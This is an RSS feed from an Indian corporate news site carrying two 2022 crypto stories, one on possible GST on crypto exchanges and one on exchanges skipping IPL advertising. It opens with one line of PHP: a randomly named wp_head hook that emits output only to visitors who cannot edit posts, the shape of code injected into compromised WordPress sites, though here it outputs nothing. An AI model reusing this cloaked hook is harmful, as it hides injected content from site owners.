function wp_pf_d1139e69(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_d1139e69"); Cryptocurrency - Corp India News https://corpindianews.com One Stop Destination for all Corporate Related Content Wed, 22 Jan 2025 05:26:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://corpindianews.com/wp-content/uploads/2022/07/cropped-Untitled-1-32x32.jpg Cryptocurrency - Corp India News https://corpindianews.com 32 32 Crypto Transactions may attract GST for Indian and foreign Exchanges https://corpindianews.com/crypto/crypto-transactions-may-attract-gst-for-indian-and-foreign-exchanges/ Tue, 29 Mar 2022 10:08:07 +0000 http://localhost/corpindianews/?p=1175 The Government of India is contemplating levying Goods and Services Tax (GST) on Crypto Exchanges in India on the procurement of Crypto assets from those outside the country. As per the report, the tax department is currently scrutinising how exchanges that allow trading in India manage their cryptocurrency float and whether there is any element […]

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]]> The Government of India is contemplating levying Goods and Services Tax (GST) on Crypto Exchanges in India on the procurement of Crypto assets from those outside the country.

As per the report, the tax department is currently scrutinising how exchanges that allow trading in India manage their cryptocurrency float and whether there is any element or any transaction where GST could apply.

Why is the government eager to levy tax on exchanges?

Only the big crypto exchanges in India have actual cryptocurrencies on their books. In contrast, most others buy from foreign entities that primarily hold a large chunk of cryptocurrencies.

Hence, such crypto exchanges that depend on foreign entities get these digital assets transferred to their accounts before offering them to traders and investors.

Some other exchanges tend to match trades between buyer and seller, while either the buyer or seller is based outside of India.

Lastly, many crypto exchanges that fall short of assets exchange crypto assets individually and record such transactions as transfers.

Therefore, the tax department is considering putting such transactions under GST.

“Various exchanges have different mechanisms to procure cryptocurrencies that are traded in India. So the government could look to define all the transactions even involving exchanges that could attract GST,” said Gaurav Mehta, founder of Catax, a cryptocurrency tax consultancy firm.

In a similar pattern, in 2017, the government had investigated top executives and promotors of crypto exchanges on their business model. The authorities wanted to understand how to tax the revenues from the exchanges.

This development also comes when there is regulatory ambiguity around cryptocurrency. The government had levied a 30 per cent tax on gains from selling cryptocurrencies and one per cent TDS on every transaction.

Hence, the government has been scrutinising whether to regulate these digital currencies and develop a regulatory framework over the past years.

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]]> Top Crypto bourses to stay away from IPL https://corpindianews.com/crypto/top-crypto-exchanges-refrain-from-advertising-during-ipl-2022/ Thu, 24 Mar 2022 12:33:02 +0000 http://localhost/corpindianews/?p=1099 Pandemic that started before Indian Premier League 2020 season, bought several challenges. The impact of Covid19 wasn’t limited to life, but it also affected economy, businesses of different sector and sports industry too. As lockdown was imposed and number of Covid cases were increasing in mid-2020, the IPL was postponed later in the year. By […]

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]]> Pandemic that started before Indian Premier League 2020 season, bought several challenges. The impact of Covid19 wasn’t limited to life, but it also affected economy, businesses of different sector and sports industry too. As lockdown was imposed and number of Covid cases were increasing in mid-2020, the IPL was postponed later in the year.

By then, it was very difficult for IPL governing council and BCCI to find sponsors for the event as most the industries and companies were facing huge losses due to pandemic. The event, instead of April 2020, it started in August 2020 and the Cricket betting app, Dream 11 replaced the Chinese brand, Vivo and became the Title Sponsor. Even in IPL 2021, none of the Indian brand showed interest in being Title Sponsor and the Chinese mobile brand, Vivo was brought in back.

However, during both the IPL seasons in pandemic era, it was observed, that all the major cryptocurrency exchanges of India spent heavily on ads during IPL live matches. It’s important to note that in 2021, CoinDCX, WazirX, and CoinSwitch Kuber as well as other top crypto trading platforms, had collectively spent approximately Rs 90 crore on TV advertising for the IPL and T-20 World Cup. Out of these, a whopping Rs 40 crore was spent by Crypto exchanges in IPL 2021. India.

But this year, the scene is going to be different. The top cryptocurrency exchanges in India such as CoinDCX, WazirX, CoinSwitch Kuber, and many more, have collectively decided to not advertise in the forthcoming 15th edition of the Indian Premier League (IPL), three people familiar with the development said.

Nischal Shetty went on to say that the decision to not advertise during IPL was taken by the Blockchain and Crypto Assets Council (BACC), which has currently more than two dozen crypto exchanges and crypto-related companies as members. BACC is a part of the Internet and Mobile Association of India (IAMAI).

Cryptocurrencies such as Bitcoin and Ethereum have gained a lot of traction in the last one year as a result of massive ad spending during sports events like the IPL and cricket World Cup. These advertisements have successfully increased the visibility and awareness of cryptocurrency as an asset class. According to Ashish Singhal, CEO and Co-founder, CoinSwitch Kuber, the platform’s registrations increased fourfold following the IPL campaign in 2021.

As the official title sponsor, CoinDCX has sponsored the inaugural ICC World Test Championship Final as well as several T20 cricket series, including the India-Sri Lanka T20I series. On the other hand, CoinSwitch Kuber is an associate sponsor for IPL on Disney+ Hotstar and is on SonyLiv for cricket tournaments.

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